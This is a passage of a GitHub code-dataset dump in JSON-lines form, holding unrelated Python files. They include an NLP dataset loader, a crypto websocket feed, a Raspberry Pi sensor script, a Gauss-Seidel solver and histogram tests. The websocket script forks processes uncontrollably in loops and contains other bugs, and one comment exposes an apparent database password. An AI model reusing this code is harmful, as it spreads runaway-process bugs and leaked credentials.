print(ret)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02763/s076086187.py","file_name":"s076086187.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"3400130238","text":"# -*- coding:UTF-8 -*-\nfrom collections import OrderedDict\nfrom torch.utils.data import Dataset\nimport pickle as pkl\nimport os\nimport json\nimport logging\nimport random\nimport pandas as pd\nfrom tqdm import tqdm\n\ndef print_examples(data, k=3):\n for example in random.sample(data, k=k):\n logging.info(example)\n\ndef process_pre_tokenized(text: list, tokenizer):\n tokens = []\n for word in text:\n tokens.extend(tokenizer.tokenize(word))\n return tokens\n\nclass LabelMap:\n def __init__(self, label_path):\n self.id2label = self.build_id2label(label_path)\n self.label2id = OrderedDict([(label,idx) for idx, label in enumerate(self.id2label)])\n self.num_labels = len(self.id2label)\n\n @staticmethod\n def build_id2label(path):\n labels = []\n with open(path, \"r\", encoding=\"utf8\") as fr:\n for line in fr:\n line = line.strip()\n if not line:\n continue\n labels.append(line)\n return labels\n \n\nclass SeqCLSDataset(Dataset):\n def __init__(self, data_type: str, path: str, label_map, tokenizer, pre_tokenize, max_seq_len, save_cache=True, use_cache=True):\n super().__init__()\n self.data_type = data_type\n self.pre_tokenize = pre_tokenize\n self.max_seq_len = max_seq_len\n self.use_cache = use_cache\n self.save_cache = save_cache\n self.num_samples = 0\n self.label_map = label_map\n self.tokenizer = tokenizer\n self.data = self.gather_data(path)\n print_examples(self.data, k=5)\n\n @staticmethod\n def read_line(path):\n with open(path, \"r\", encoding=\"utf8\") as fr:\n for idx, line in enumerate(fr):\n line = line.strip()\n if not line:\n continue\n yield idx, line\n\n @staticmethod\n def read_sample(line):\n \"\"\"\n implement it by yourself\n return uuid: str, text_a: str, text_b: str, label: int\n \"\"\"\n raise NotImplementedError\n\n def gather_data(self, path):\n pkl_path = path+\".pkl\"\n if self.use_cache and os.path.exists(pkl_path):\n with open(pkl_path, \"rb\") as fr:\n data = pkl.load(fr)\n self.num_samples = len(data)\n logging.info(f\"successfully load {pkl_path}\")\n logging.info(f\"num samples: {self.num_samples}\")\n else:\n max_len_in_data = 0\n data = []\n for idx, line in self.read_line(path):\n try:\n uuid, text_a, text_b, label = self.read_sample(line)\n if not uuid:\n uuid = f\"{self.data_type}-{idx}\"\n inputs = self.build_inputs(text_a, text_b)\n if max_len_in_data < len(inputs[\"input_ids\"]):\n max_len_in_data = len(inputs[\"input_ids\"])\n label_id = self.label_map.label2id[label]\n except KeyboardInterrupt:\n raise KeyboardInterrupt\n except Exception as e:\n logging.warning(f\"{path}, {idx} process error, continue\")\n continue\n self.num_samples += 1\n\n data.append({\"uuid\": uuid, **inputs, \"label\": label_id})\n logging.info(f\"num samples: {self.num_samples}, max len in dataset: {max_len_in_data}\")\n if self.save_cache and not os.path.exists(pkl_path):\n with open(pkl_path, \"wb\") as fw:\n fw.write(pkl.dumps(data))\n return data\n\n\n def truncate_tokens(self, tokens_a, tokens_b):\n # -3 for [CLS] [SEP] [SEP]\n if len(tokens_b) == 0 and len(tokens_a) <= self.max_seq_len - 2:\n truncate = False\n elif len(tokens_b) and len(tokens_a) + len(tokens_b) <= self.max_seq_len - 3:\n truncate = False\n else:\n truncate = True\n\n if truncate:\n if not len(tokens_b):\n tokens_a = tokens_a[:self.max_seq_len - 2]\n else:\n half_max_len = self.max_seq_len // 2 - 2\n if (self.max_seq_len - len(tokens_a) - 3 < len(tokens_b) // 2) or \\\n (self.max_seq_len - len(tokens_b) - 3 < len(tokens_a) // 2):\n tokens_a = tokens_a[:half_max_len]\n tokens_b = tokens_b[:half_max_len]\n else:\n tokens_a = tokens_a[:self.max_seq_len - 3] \n tokens_b = tokens_b[:self.max_seq_len - len(tokens_a)]\n return tokens_a, tokens_b\n\n\n def build_inputs(self, text_a: str, text_b: str):\n if self.pre_tokenize:\n tokens_a = process_pre_tokenized(text_a.split(\" \"), self.tokenizer)\n tokens_b = process_pre_tokenized(text_b.split(\" \"), self.tokenizer) if text_b else []\n else:\n tokens_a = self.tokenizer.tokenize(text_a)\n tokens_b = self.tokenizer.tokenize(text_b) if text_b else []\n\n tokens_a, tokens_b = self.truncate_tokens(tokens_a, tokens_b)\n input_tokens = [self.tokenizer.cls_token] + \\\n tokens_a + [self.tokenizer.sep_token]\n token_type_ids = [0 for _ in range(len(input_tokens))]\n if text_b:\n input_tokens += tokens_b + [self.tokenizer.sep_token]\n input_ids = self.tokenizer.convert_tokens_to_ids(input_tokens)\n token_type_ids = token_type_ids + \\\n [1 for _ in range(len(input_ids) - len(token_type_ids))]\n attn_mask = [1 for _ in range(len(input_ids))]\n return {\"input_ids\": input_ids, \"token_type_ids\": token_type_ids, \"attention_mask\": attn_mask}\n\n def __getitem__(self, idx):\n return self.data[idx]\n\n def __len__(self):\n return self.num_samples\n\n\nclass SNLIDataset(SeqCLSDataset):\n def __init__(self, **args):\n super().__init__(**args)\n\n @staticmethod\n def read_sample(line):\n data_i = json.loads(line)\n text_a = data_i[\"sentence1\"].strip()\n text_b = data_i[\"sentence2\"].strip()\n label = data_i[\"gold_label\"].strip()\n return None, text_a, text_b, label\n\nclass IMDBDataset(SeqCLSDataset):\n # https://www.kaggle.com/datasets/atulanandjha/imdb-50k-movie-reviews-test-your-bert?select=train.csv\n def __init__(self, **args):\n super().__init__(**args)\n\n @staticmethod\n def read_line(path):\n df = pd.read_csv(path)\n for idx, row in tqdm(df.iterrows()):\n yield idx, (row[\"text\"], row[\"sentiment\"])\n\n @staticmethod\n def read_sample(items):\n text_a, label = items\n return None, text_a, \"\", label","repo_name":"Jason3900/PytorchExamples","sub_path":"src/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":6648,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"90"} +{"seq_id":"33754501658","text":"import json\r\nimport multiprocessing\r\nimport os\r\n# from all_pairs import *\r\nimport time\r\nfrom multiprocessing import freeze_support\r\n\r\nfrom websocket import create_connection\r\n\r\nprint(\"started\")\r\n\r\n\r\nclass connection:\r\n\r\n\tdef handle_msg (self,mssg,ws) :\r\n\t\tself.response = ws.recv()\r\n\t\tself.msg = json.loads(self.response)\r\n\t\t#print(msg)\r\n\t\tif self.msg['m'] == 'bbo':\r\n\t\t\tself.lowest_ask = self.msg['data']['ask']\r\n\t\t\tself.highest_bid = self.msg['data']['bid']\r\n\t\t\tself.order_book={}\r\n\t\t\tself.order_book['ask'] = self.lowest_ask\r\n\t\t\tself.order_book['bid'] = self.highest_bid\r\n\t\t\t#DSN = \"postgres://postgres:kirahavethedeathnote123A@localhost:5432/bitmax\"\r\n\t\t\t#conn = await asyncpg.connect(DSN)\r\n\t\t\t#UPDATE_TABLE = 'UPDATE live_feed SET live_feed =' +\"'\"+str(order_book).replace(\"'\",'\"')+ \"'\"+' WHERE pair = ' + \"'\"+str(pair)+\"'\"\r\n\t\t\t#print(UPDATE_TABLE)\r\n\t\t\t#await conn.execute(UPDATE_TABLE)\r\n\t\t\t#await conn.close()\r\n\t\t\tprint(self.msg[\"symbol\"])\r\n\t\tif self.msg['m'] == 'ping':\r\n\r\n\t\t\tself.ping_msg = {\"op\": \"pong\"}\r\n\t\t\tws.send(json.dumps(self.ping_msg))\r\n\t\t\tprint(self.ping_msg)\t\t\r\n\t\treturn 0\r\n\r\n\tdef initiations(self,pair):\r\n\r\n\t\tself.wbs_url = \"wss://bitmax.io/1/api/pro/v1/stream\"\r\n\t\tself.ws = create_connection(self.wbs_url)\r\n\t\tself.subscribe_msg= { \"op\": \"sub\", \"id\": str(pair) ,\"ch\":\"bbo:\"+pair+\"\"}\r\n\t\tself.ws.send(json.dumps(self.subscribe_msg))\t\r\n\t\t\r\n\t\tself.connected = True \r\n\t\twhile self.connected:\r\n\t\t\ttry:\r\n\t\t\t\t\r\n\t\t\t\tself.response = self.ws.recv()\r\n\t\t\t\tself.msg = json.loads(self.response)\r\n\r\n\t\t\t\tconnection().handle_msg(self.msg,self.ws)\r\n\t\t\t\ttime.sleep(2)\t\t\r\n\t\t\texcept:\r\n\t\t\t\tself.reloaded_pairs.append(pair)\r\n\t\t\t\tbreak\r\n\t\treturn 0\r\n\r\n\tdef start (self,reloaded_pairs,pairs) :\r\n\t\tif len(reloaded_pairs) == 0:\r\n\t\t\tfor pair in pairs:\r\n\t\t\t\tprint(pair)\r\n\r\n\t\t\t\tp = multiprocessing.Process(target=connection().initiations, args=(pair,))\r\n\t\t\t\tfreeze_support()\r\n\t\t\t\tos.fork()\r\n\t\t\t\tfreeze_support()\r\n\t\t\t\tos.fork()\r\n\t\t\t\tp.start()\r\n\t\t\t\t\r\n\t\t\t\t\r\n\r\n\t\telse:\r\n\t\t\tfor pair in reloaded_pairs:\r\n\t\t\t\tp = multiprocessing.Process(target=connection().initiations, args= (pair,))\r\n\t\t\t\tfreeze_support()\r\n\t\t\t\tos.fork()\r\n\t\t\t\tfreeze_support()\r\n\t\t\t\tp.start()\r\n\r\n\t\t\t\treloaded_pairs.pop(pair)\r\n\r\n\r\n\r\n\t\treturn 0\r\n\r\n\r\n\r\n\r\n\r\npairs = [\"BTC/USDT\",\"ETH/USDT\",\"EOS/USDT\"]\r\n\r\nreloaded_pairs = []\r\n\r\n\r\n\r\nconnection().start (reloaded_pairs,pairs)\r\n\r\nwhile True :\r\n\t\r\n\tif len(reloaded_pairs) == 0:\r\n\t\tpass\r\n\r\n\telse:\r\n\t\tpair = reloaded_pairs[0]\r\n\t\tp = multiprocessing.Process(target=connection().initiations, args=(pair,))\r\n\t\tp.start()\r\n\t\treloaded_pairs.pop(pair)\r\n\r\n\r\n","repo_name":"wxcv-ai/Crypto_Arbitrage","sub_path":"live_feed.py","file_name":"live_feed.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"20021314590","text":"\"\"\"from time import time\r\n\r\ndef print_after(text):\r\n start = int(time())\r\n print(f'Starting: {start}')\r\n printed = 0\r\n print(f'Hacker will come at {start + 10}')\r\n while printed == 0:\r\n if int(time()) == (start + 10):\r\n print(text)\r\n printed = 1\r\n \r\n\r\nprint('Hacker is coming.')\r\nprint_after('Hacker has come.')\r\n\"\"\"\r\n\r\n\"\"\"\r\nfrom pywebio import start_server\r\nfrom pywebio.output import clear, put_buttons, put_markdown, put_table\r\n\r\n\r\ndef program():\r\n clear()\r\n put_markdown(\"# Vital Sign Viewer\")\r\n put_markdown('### Choose an option')\r\n put_buttons(['View Vital Signs'], onclick=options)\r\n\r\n\r\ndef options(button):\r\n if button == 'View Vital Signs':\r\n vital_signs()\r\n\r\n\r\ndef vital_signs():\r\n clear()\r\n put_markdown(\"# Vital Sign Viewer\")\r\n put_markdown(\"### The details of the Patient are given below\")\r\n put_markdown(\"**Name of the patient:** {name}\")\r\n table = [\r\n ['Time', 'Blood pressure', 'Pulse Rate', 'Temperature', 'Breathing Rate']\r\n ]\r\n # Bring data from database and add in 'table'\r\n put_table(table)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n start_server(program, port=1025)\r\n\"\"\"\r\n\r\nfrom pywebio.output import put_html\r\nfrom pywebio import start_server\r\n\r\n\"\"\"\r\ndef program():\r\n put_html('''\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n
Row 1Row 2
Content 1Content 2
\r\n ''')\r\n\r\nif __name__ == \"__main__\":\r\n start_server(program, port=1025)\r\n\"\"\"\r\n\r\n'''\r\ndef add_row(command, row):\r\n # ''\r\n # row = ['abc', ['123','Red']]\r\n command += '\\n'\r\n\r\n for i in row:\r\n if type(i) == str:\r\n data = '\\n'+i+''\r\n elif type(i) == list:\r\n data = f'\\n{i[0]}'\r\n command += data\r\n \r\n command += '\\n'\r\n \r\n return command\r\n\r\nc = ''\r\nc = add_row(c, ['Content 1', 'Content 2', ['Content 3', 'blue']])\r\nc += '\\n
'\r\n\r\nprint(c)\r\n'''\r\n\r\nreading = int(input('Enter a reading: '))\r\ndef check_with_threshold(threshold_value, reading):\r\n if (threshold_value - 10) < reading and reading < (threshold_value + 10):\r\n return 'Good'\r\n elif (threshold_value - 20) < reading and reading < (threshold_value + 20):\r\n return 'Moderate'\r\n else:\r\n return 'Critical'\r\n","repo_name":"Hollow2431/Health_Beacon","sub_path":"ATL Marathon 2021/New folder/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"6068747270","text":"\r\nimport os\r\nimport glob\r\nimport time\r\nfrom tkinter import*\r\nimport sys \r\nimport gpiozero \r\n\r\nRELAY_PIN = 17#GPIO port \r\nrelay = gpiozero.OutputDevice(RELAY_PIN, active_high = False, inital_value = False)\r\n\r\ndef RelayOO():\r\n relay.on()\r\n time.sleep(20)\r\n relay.off()\r\n\r\n\r\n \r\nos.system('modprobe w1-gpio')\r\nos.system('modprobe w1-therm')\r\n \r\nbase_dir = '/sys/bus/w1/devices/'\r\ndevice_folder = glob.glob(base_dir + '28*')[0]\r\ndevice_file = device_folder + '/w1_slave'\r\n \r\ndef read_temp_raw():\r\n f = open(device_file, 'r')\r\n lines = f.readlines()\r\n f.close()\r\n return lines\r\n \r\ndef read_temp():\r\n lines = read_temp_raw()\r\n while lines[0].strip()[-3:] != 'YES':\r\n time.sleep(0.2)\r\n lines = read_temp_raw()\r\n equals_pos = lines[1].find('t=')\r\n if equals_pos != -1:\r\n temp_string = lines[1][equals_pos+2:]\r\n temp_c = float(temp_string) / 1000.0\r\n temp_f = temp_c * 9.0 / 5.0 + 32.0\r\n Templabel.config(text = temp_c)\r\n return temp_c, temp_f\r\n\r\n\t\r\nroot = Tk()\r\nroot.title('Low Cost Resuable Bioreactor UI')\r\nroot.geometery('600x600')\r\nTemplabel = Label(root, text =\"\")\r\nroot.after(1000,read_temp)\r\nRelayOO()\r\n\r\n","repo_name":"MIbarra16/Lowcostreusable-","sub_path":"Tempsensor1.py","file_name":"Tempsensor1.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"26943203838","text":"\"\"\"\nDescrição: código que soluciona qualquer equação do tipo Ax=b, para qualquer matriz A simétrica e positiva definida.\n\"\"\"\n\n\nimport sys\nsys.path.append( 'path' )\n\nimport linalg as la\n\n\ndef soma1(A, x, i):\n\n \"\"\"\n Descrição: calcula o primeiro somatório apresentado na última expressão do\n arquivo readme.md;\n \n Entrada(s):\n i) A (list): matriz do sistema;\n ii) x (list): vetor iterando, no passo posterior;\n iii) i (int): i-ésima entrada do vetor x;\n \n Saída(s):\n i) soma (float): resultado do somatório.\n \"\"\"\n\n soma = 0\n for j in range(i):\n soma += A[i][j]*x[j]\n return soma\n\n\ndef soma2(A, x, i):\n\n \"\"\"\n Descrição: calcula o segundo somatório apresentado na última expressão do\n arquivo readme.md;\n \n Entrada(s):\n i) A (list): matriz do sistema;\n ii) x (list): vetor iterando, no passo anterior;\n iii) i (int): i-ésima entrada do vetor x;\n \n Saída(s):\n i) soma (float): resultado do somatório.\n \"\"\"\n\n soma = 0\n for j in range(i+1, len(A)):\n soma += A[i][j]*x[j]\n return soma\n\n\ndef gaussseidel(A, b, erro):\n\n \"\"\"\n Descrição: calcula a solução aproximada x de um sistema Ax=b, para A simétrica e positiva definida. \n O algoritmo segue conforme o discutido em Teorema 10.2.1, página 512 de Matrix Computations, \n Golub e Van Loan, com algumas observações:\n\n i) arbitra-se como estimativa inicial o vetor nulo;\n ii) adota-se um critério de parada conservador, como segue no código;\n iii) o funcionamento do código é análogo a qualquer processo iterativo, i.e.:\n\n iii.a) após estabelecidos a estimativa inicial, a tolerância e o critério de parada, calcula\n a solução no próximo passo por meio da expressão pré determinada;\n iii.b) verifica-se se a solução satisfaz o critério de parada. Se sim, altera a variável \n booleana parada;\n iii.c) a variável que guardava o passo anterior é alterada de forma a guarda a solução no\n no passo atual;\n iii.d) repete até a variável parada ser alterada;\n\n Entrada(s):\n i) A (list): matriz simétrica e positiva definida;\n ii) b (list): vetor independente do sistema;\n iii) erro (float): tolerância de erro aceitável;\n \n Saída(s):\n i) x (list): solução aproximada do sistema.\n \"\"\"\n\n x0 = [0]*len(A)\n x = [None]*len(A)\n parada = False\n while not parada:\n for i in range(len(A)):\n x[i] = (b[i] - soma1(A, x, i) - soma2(A, x0, i))/A[i][i]\n if la.euclidianNorm(la.vectorSum(b, la.vectorScalar(-1, la.matrixVector(A, x0)))) < erro:\n parada = True\n x0 = x\n print(f'A solução é: {x}')\n return x","repo_name":"thiagonett0/gaussseidel","sub_path":"python/gaussseidel.py","file_name":"gaussseidel.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"34852511233","text":"import csv\nimport numpy as np\nimport os\nfrom scipy.misc import imread\n\ndef load_data(log, img_dir):\n images = []\n measurements = []\n with open(os.path.join(log)) as csvfile:\n reader = csv.reader(csvfile)\n next(reader)\n for line in reader:\n # load center, left, right camera images\n for i in range(3):\n image_path = line[i]\n filename = image_path.split('/')[-1]\n current_path = os.path.join(img_dir, filename)\n image = imread(current_path)\n images.append(image)\n steering_center = float(line[3])\n correction = 0.25\n steering_left = steering_center + correction\n steering_right = steering_center - correction\n measurements.append(steering_center)\n measurements.append(steering_left)\n measurements.append(steering_right)\n\n X_train = np.array(images)\n y_train = np.array(measurements)\n\n return X_train, y_train","repo_name":"carsontang/CarND-Behavioral-Cloning-P3","sub_path":"loader/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"17278292162","text":"import tkinter as tk\n\n\nclass HealthFoodCard(tk.LabelFrame):\n def __init__(self, parent, context):\n super().__init__(parent, padx=10, pady=10, text='Health food')\n self.context = context\n self.columnconfigure(0, weight=3)\n self.columnconfigure(1, weight=7)\n self.rowconfigure(0, weight=1)\n self.rowconfigure(1, weight=1)\n self.rowconfigure(2, weight=1)\n self.rowconfigure(3, weight=1)\n\n self.checkVar = tk.BooleanVar()\n self.checkVar.set(\n self.context.context['healing']['highPriority']['healthFood']['enabled'])\n self.checkbutton = tk.Checkbutton(\n self, text='Enabled', variable=self.checkVar, command=self.onToggleCheckButton)\n self.checkbutton.grid(column=1, row=0, sticky='e')\n\n self.hpPercentageLessThanOrEqualLabel = tk.Label(\n self, text='HP % less than or equal:')\n self.hpPercentageLessThanOrEqualLabel.grid(\n column=0, row=1, sticky='nsew')\n\n self.hpLessThanOrEqualVar = tk.IntVar()\n self.hpLessThanOrEqualVar.set(\n self.context.context['healing']['highPriority']['healthFood']['hpPercentageLessThanOrEqual'])\n self.hpLessThanOrEqualSlider = tk.Scale(self, from_=10, to=100,\n resolution=10, orient=tk.HORIZONTAL, variable=self.hpLessThanOrEqualVar, command=self.onChangeHp)\n self.hpLessThanOrEqualSlider.grid(column=1, row=1, sticky='ew')\n\n def onToggleCheckButton(self):\n self.context.toggleHealingHighPriorityByKey(\n 'healthFood', self.checkVar.get())\n\n def onChangeHp(self, _):\n self.context.setHealthFoodHpPercentageLessThanOrEqual(\n self.hpLessThanOrEqualVar.get())\n","repo_name":"lucasmonstrox/PyTibia","sub_path":"src/ui/pages/healing/healthFoodCard.py","file_name":"healthFoodCard.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":214,"dataset":"github-code","pt":"90"} +{"seq_id":"25853336813","text":"#!/usr/bin/env python3\n\n\"\"\"\nUnit tests for histogram.py\n\nTODO:\n- Improve tests for calculating histogram\n- Add tests for output\n\"\"\"\n\nimport unittest\nfrom io import StringIO\nfrom clichart.histogram import *\nfrom clichart.statslib import InvalidDataException\n\nCSV_INPUT = \"\"\"1, 17.2, 55, 120.888\n6, 4, 51, 220.888\n4, 12.6, 52, 120.888\n4, 13.2, 52, 320.888\n3, 13.19, 55, 120.888\n-1, 12.88, 58, 20.888\"\"\"\n\nHEADER = 'column_0, column_1, column_2, column_3\\n'\n\n# contain (minValue, maxValue, allValues) for each column\nCOLUMN_RESULTS = (\n (-1, 6, [-1, 1, 3, 4, 4, 6]),\n (4, 17.2, [17.2, 4, 12.6, 13.2, 13.19, 12.88]),\n (51, 58, [55, 51, 52, 52, 55, 58]),\n (20.888, 320.888, [20.888, 120.888, 120.888, 120.888, 220.888, 320.888]))\n\nCSV_OUTPUT = \"\"\"51, 52, 1, 16.667\n52, 53, 2, 33.333\n53, 54, 0, 0.000\n54, 55, 0, 0.000\n55, 56, 2, 33.333\n56, 57, 0, 0.000\n57, 58, 1, 16.667\n\"\"\"\n# ============================================================================\nclass HistogramTest(unittest.TestCase):\n def testParseData_CsvNoHeader(self):\n self._testParseData(CSV_INPUT, True, False)\n\n def testParseData_CsvWithHeader(self):\n self._testParseData(self._getInputWithHeader(), True, True)\n\n def testParseData_TextNoHeader(self):\n self._testParseData(CSV_INPUT.replace(',', ' '), False, False)\n \n def testParseData_TextWithHeader(self):\n self._testParseData(self._getInputWithHeader().replace(',', ' '), False, True)\n\n def testParseData_NonNumeric(self):\n testData = CSV_INPUT.replace('12.88', 'xxx')\n try:\n self._testParseData(testData, True, False)\n self.fail()\n except InvalidDataException as e:\n pass\n\n def testCalculateHistogram_numIntervals(self):\n minValue, maxValue, allValues = COLUMN_RESULTS[0]\n options = self._buildOptions(numIntervals=7, showPercent=True)\n intervals = calculateHistogram(allValues, minValue, maxValue, options)\n self._validateHistogram(intervals)\n options.cumulative = True\n intervals = calculateHistogram(allValues, minValue, maxValue, options)\n self._validateHistogram_cumulative(intervals)\n\n def testCalculateHistogram_intervalSize(self):\n minValue, maxValue, allValues = COLUMN_RESULTS[0]\n options = self._buildOptions(intervalSize=1, showPercent=True)\n intervals = calculateHistogram(allValues, minValue, maxValue, options)\n self._validateHistogram(intervals)\n options.cumulative = True\n intervals = calculateHistogram(allValues, minValue, maxValue, options)\n self._validateHistogram_cumulative(intervals)\n\n def _buildOptions(self, **kw):\n options = Options()\n for property, value in list(kw.items()):\n setattr(options, property, value)\n return options\n\n def _validateHistogram(self, intervals):\n self._assertListsAlmostEqual([1, 0, 1, 0, 1, 2, 1], [interval.count for interval in intervals], sortLists = False)\n self._assertListsAlmostEqual([-1, 0, 1, 2, 3, 4, 5], [interval.startValue for interval in intervals], sortLists = False)\n self._assertListsAlmostEqual([0, 1, 2, 3, 4, 5, 6], [interval.endValue for interval in intervals], sortLists = False)\n self._assertListsAlmostEqual([100/6.0, 0, 100/6.0, 0, 100/6.0, 200/6.0, 100/6.0],\n [interval.percentage for interval in intervals], sortLists = False)\n \n def _validateHistogram_cumulative(self, intervals):\n self._assertListsAlmostEqual([1, 1, 2, 2, 3, 5, 6], [interval.count for interval in intervals], sortLists = False)\n self._assertListsAlmostEqual([-1, 0, 1, 2, 3, 4, 5], [interval.startValue for interval in intervals], sortLists = False)\n self._assertListsAlmostEqual([0, 1, 2, 3, 4, 5, 6], [interval.endValue for interval in intervals], sortLists = False)\n self._assertListsAlmostEqual([100/6.0, 100/6.0, 200/6.0, 200/6.0, 300/6.0, 500/6.0, 600/6.0],\n [interval.percentage for interval in intervals], sortLists = False)\n\n def _testParseData(self, testData, isCsv, skipFirst):\n options = self._buildOptions(isCsv=isCsv, skipFirst=skipFirst)\n for columnIndex in range(4):\n options.columnIndex = columnIndex\n minValue, maxValue, allValues = parseData(StringIO(testData), options)\n self._verifyParseDataResults(minValue, maxValue, allValues, *COLUMN_RESULTS[columnIndex])\n \n def _verifyParseDataResults(self, minValue, maxValue, allValues, expectedMinValue, expectedMaxValue, expectedAllValues):\n self.assertAlmostEqual(expectedMinValue, minValue)\n self.assertAlmostEqual(expectedMaxValue, maxValue)\n if expectedAllValues is not None:\n self._assertListsAlmostEqual(expectedAllValues, allValues)\n \n def _getInputWithHeader(self):\n return HEADER + CSV_INPUT\n\n def testOutputHistogram(self):\n options = self._buildOptions(numIntervals=7, isCsv=True, columnIndex=0, showPercent=True)\n outFile = StringIO()\n minValue, maxValue, values = COLUMN_RESULTS[2]\n outputHistogram(outFile, values, minValue, maxValue, options)\n self.assertEqual(CSV_OUTPUT, outFile.getvalue())\n \n def _assertListsAlmostEqual(self, listA, listB, sortLists = True):\n self.assertEqual(len(listA), len(listB))\n if sortLists:\n listA = sorted(listA)\n listB = sorted(listB)\n for valueA, valueB in zip(listA, listB):\n self.assertAlmostEqual(valueA, valueB)\n\n# ============================================================================\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"captsens/clichart","sub_path":"src/test/python/histogramTest.py","file_name":"histogramTest.py","file_ext":"py","file_size_in_byte":5687,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"90"} +{"seq_id":"11359861605","text":"# %%\r\nimport sys\r\nimport json\r\nimport time\r\nimport argparse\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nimport pygrib\r\nfrom bullet import Bullet\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport cartopy.crs as ccrs\r\nimport seaborn as sns\r\n\r\nimport cliutils\r\nimport figutils\r\n#%%統計量の表示\r\ndef view_stat(data):\r\n\tprint(\"Average\", np.nanmean(data))\r\n\tprint(\"Min\", np.nanmin(data))\r\n\tprint(\"Max\", np.nanmax(data))\r\n# %%データの読み込み\r\ndef read_data(data):\r\n\tgrbs = pygrib.open(data)\r\n\tgrb = grbs.select(forecastTime=0)\r\n\t#変数名の取り出し\r\n\tvalue_list = []\r\n\tfor v in range(len(grb)):\r\n\t\tindexes = [i for i, x in enumerate(str(grb[v])) if x == \":\"]\r\n\t\tvalue_list.append(str(grb[v])[indexes[0]+1:indexes[1]])\r\n\tvalue_name = cliutils.cli(\"##### Choose valiable #####\", value_list)\r\n\t# 予報時間の選択\r\n\tvgrb = grbs.select(name=value_name)\r\n\tft_list = []\r\n\tfor i in range(len(vgrb)):\r\n\t\tft_list.append(\"Forecast Time : {0}, Valid Date : {1}\".format(vgrb[i].forecastTime, vgrb[i].validDate))\r\n\tft_name = cliutils.cli(\"##### Choose Forecast Time #####\", ft_list)\r\n\tft = vgrb[ft_list.index(ft_name)].forecastTime\r\n\tvalid_date = vgrb[ft_list.index(ft_name)].validDate\r\n\tvalue = grbs.select(name=value_name,forecastTime=ft)[0].values\r\n\t#選択した変数の統計量の表示\r\n\tview_stat(value)\r\n\t#緯度・経度の取り出し\r\n\tlats, lons = grb[0].latlons()\r\n\treturn value, lats, lons, value_name, valid_date\r\n \r\n# %%jsonからデフォルト値を読み込む\r\ndef read_json(kind, param_name):\r\n\tdefault_file = open(\"default.json\", 'r')\r\n\tjson_data = json.load(default_file)\r\n\tparam = json_data[kind][param_name]\r\n\treturn param\r\n\r\n# %%パラメータを定義\r\ndef set_default():\r\n\tlon_min = float(read_json(\"Area\",\"lon_min\"))\r\n\tlon_max = float(read_json(\"Area\",\"lon_max\"))\r\n\tlat_min = float(read_json(\"Area\",\"lat_min\"))\r\n\tlat_max = float(read_json(\"Area\",\"lat_max\"))\r\n\tparam_list = [lon_min, lon_max, lat_min, lat_max]\r\n\tprint(\"[lon_min, lon_max, lat_min, lat_max] = \",param_list)\r\n\treturn param_list\r\n\r\n#%% 終了処理\r\ndef end_process():\r\n\tprint(\"#######################\")\r\n\tprint(\"S : 図を保存\")\r\n\tprint(\"N : 次の時刻の図を表示\")\r\n\tprint(\"P : 前の時刻の図を表示\")\r\n\tprint(\"E : 終了\")\r\n\tprint(\"#######################\")\r\n\tinput = sys.stdin.readline().rstrip\r\n\tend_input = input()\r\n\tif(end_input == \"S\"):\r\n\t\tplt.savefig(titile, dpi=param5, bbox_inches=\"tight\", pad_inches=0.05) #図の保存\r\n\telif(end_input == \"N\"):\r\n\t\tprint(\"次の時刻の図を表示します.\")\r\n\t\tvalid_date = valid_date # + datetime 時刻の更新\r\n\t\tvalue = grbs.select(name=value_name,valid_date=valid_date)[0].values\r\n\t\treturn value, valid_date\r\n\telif(end_input == \"P\"):\r\n\t\tprint(\"前の時刻の図を表示します.\")\r\n\t\tvalid_date = valid_date #v- datetime 時刻の更新\r\n\t\tvalue = grbs.select(name=value_name,valid_date=valid_date)[0].values\r\n\t\treturn value, valid_date\r\n\telif(end_input == \"E\"):\r\n\t\texit()\r\n# %%実行処理\r\ndef main():\r\n\t# %%引数の設定(読み込むファイル)\r\n\tparser = argparse.ArgumentParser(description='grib2ファイルを引数��指定')\r\n\tparser.add_argument('arg1', help='読み込むファイル')\r\n\targs = parser.parse_args()\r\n\tloop = 0 \r\n\twhile(True):\r\n\t\tprint(loop)\r\n\t\tif(loop == 0):\r\n\t\t\tprint(\"#### loop 0 ####\")\r\n\t\t\tvalues, lons, lats, value_name, valid_date = read_data(args.arg1)\r\n\t\t\tparam_list = set_default()\r\n\t\telse:\r\n\t\t\tend_process()\r\n\t\ttitle = ( value_name +\"\\n\"+ str(valid_date) )\r\n\t\tfigutils.make_figure(values, lons, lats, title, param_list)\r\n\t\tloop += 1\r\n# %%\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n\r\n# %%\r\n","repo_name":"sc2xos/Met","sub_path":"tools/grib2/grib2_tool.py","file_name":"grib2_tool.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18284505489","text":"\n#かけて最小公倍数になる そのために必要な数がB\nfrom fractions import gcd\nN=int(input())\nif N==1:\n print(1)\n exit()\n\nmod=10**9+7\nA=list(map(int, input().split()))\ndef lcm(a,b):\n return 